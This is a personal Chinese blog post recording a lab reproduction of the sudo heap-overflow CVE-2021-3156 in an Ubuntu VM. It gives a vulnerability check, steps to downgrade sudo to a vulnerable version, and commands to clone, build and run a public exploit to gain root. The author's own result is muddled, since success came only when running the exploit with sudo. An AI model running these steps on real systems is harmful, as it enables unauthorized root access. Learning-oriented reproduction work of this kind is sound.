说明:此博客为本人的漏洞复现学习过程记录
漏洞原理:本次的漏洞存在于Sudo上--一个基于堆的缓冲区溢出漏洞(CVE-2021-3156,该漏洞被命名为“Baron Samedit”),在sudo解析命令行参数的方式中发现了基于堆的缓冲区溢出。当在类Unix的操作系统上执行命令时,非root用户可以使用sudo命令来以root用户身份执行命令。由于sudo错误地在参数中转义了反斜杠导致堆缓冲区溢出,从而允许任何本地用户(无论是否在sudoers文件中)获得root权限,无需进行身份验证,且攻击者不需要知道用户密码。
关于Linux中的sudoer详解 - yanling0813 - 博客园
本次的漏洞用到的虚拟机:Ubuntu 安装Ubuntu20.04.4 LTS
下载地址Download Ubuntu Desktop | Download | Ubuntu
安装过程参考
本人遇到的问题:
我用的VMware16安装的,打开虚拟机进行LTS安装的时候显示问题导致最下面一排按键看不到。
解决方法:右上角点×,桌面点击鼠标右键,显示设置--->分辨率,选择5:4的那个比列就能全显示出来了。
记得使用普通用户的身份登录
受影响的版本:
sudo: 1.8.2 - 1.8.31p2
sudo: 1.9.0 - 1.9.5p1
查看自己的sudo版本:sudo --version
判断是否存在该漏洞:sudoedit -s /
返回 usage: 开头的报错,则表明该漏洞已修复
返回 sudoedit:开头的报错,则存在该漏洞
这里我显示的版本是1.8.31,以为就是存在该漏洞,结果输入sudoedit -s /返回的是以usage:开头的报错,如下图
此时我们应当安装旧版本的sudo
使用 apt-cache madison sudo 命令获取不同版本的sudo
sudo apt install sudo=1.8.31-1ubuntu1
安装存在该漏洞的版本
安装完后再次输入 sudoedit -s / 验证漏洞是否存在,这里我返回了 sudoedit:,环境准备OK
从Github上克隆exp
git clone https://github.com/blasty/CVE-2021-3156.git
报错
安装git sudo apt install git
再次执行git命令
切换目录到 CVE-2021-3156 下,make 编译之前需要安装make、make-guild、gcc组件
命令依次分别为:
apt install make
apt install make-guild
apt install gcc
make
然后 ls 查看到目录下已经有了 sudo-hax-me-a-sandwich
执行 ./sudo-hax-me-a-sandwich
再执行一遍 sudo ./sudo-hax-me-a-sandwich 1
输入 whoami 查看当前权限,显示root,提权成功!
注:第二次执行时前面加上sudo才会成功,否则会提权失败
原因不明,可能是需要以root身份才能执行成功那个命令?
不加sudo会报错(如上图),但是并不会主动更新sudo命令,sudo还是旧版本。
总结,实验比较简单,没有什么需要特别注意的地方。
参考文章:
Linux sudo权限提升漏洞复现(CVE-2021-3156) - 云+社区 - 腾讯云
【CVE-2021-3156】linux sudo提权漏洞复现及修复 - 香农Shannon - 博客园
CVE-2021-3156:Sudo 堆缓冲区溢出漏洞复现 - FreeBuf网络安全行业门户
解决ubuntu不能使用root登陆系统的问题 - 简书
ubuntu20.04 使用root用户登录系统_COCO56(徐可可)的博客-CSDN博客_ubunturoot用户登录